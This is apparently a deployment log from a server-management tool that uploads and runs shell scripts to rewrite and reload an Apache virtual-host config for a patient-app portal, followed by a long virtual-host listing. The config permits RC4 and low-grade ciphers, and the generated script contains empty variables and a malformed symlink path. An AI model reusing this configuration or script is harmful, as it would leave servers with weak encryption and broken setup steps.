FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-13 06:00:45:
chmod 755 /tmp/pkp466843; /tmp/pkp466843; rm /tmp/pkp466843
2025-11-13 06:00:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-13 06:00:45:
PUT: /tmp/pkp625875
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi
2025-11-13 06:00:45:
chmod 755 /tmp/pkp625875; /tmp/pkp625875; rm /tmp/pkp625875
2025-11-13 06:00:45:
2025-11-13 06:00:45:
PUT: /tmp/pkp803693
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-13 06:00:45:
chmod 755 /tmp/pkp803693; /tmp/pkp803693; rm /tmp/pkp803693
2025-11-13 06:00:45:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-13 06:00:45: Establishing a connection
2025-11-13 06:00:46:
PUT: /tmp/pkp162785
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-13 06:00:46:
chmod 755 /tmp/pkp162785; /tmp/pkp162785; rm /tmp/pkp162785
2025-11-13 06:00:46:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-13 06:00:46:
PUT: /tmp/pkp252342
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
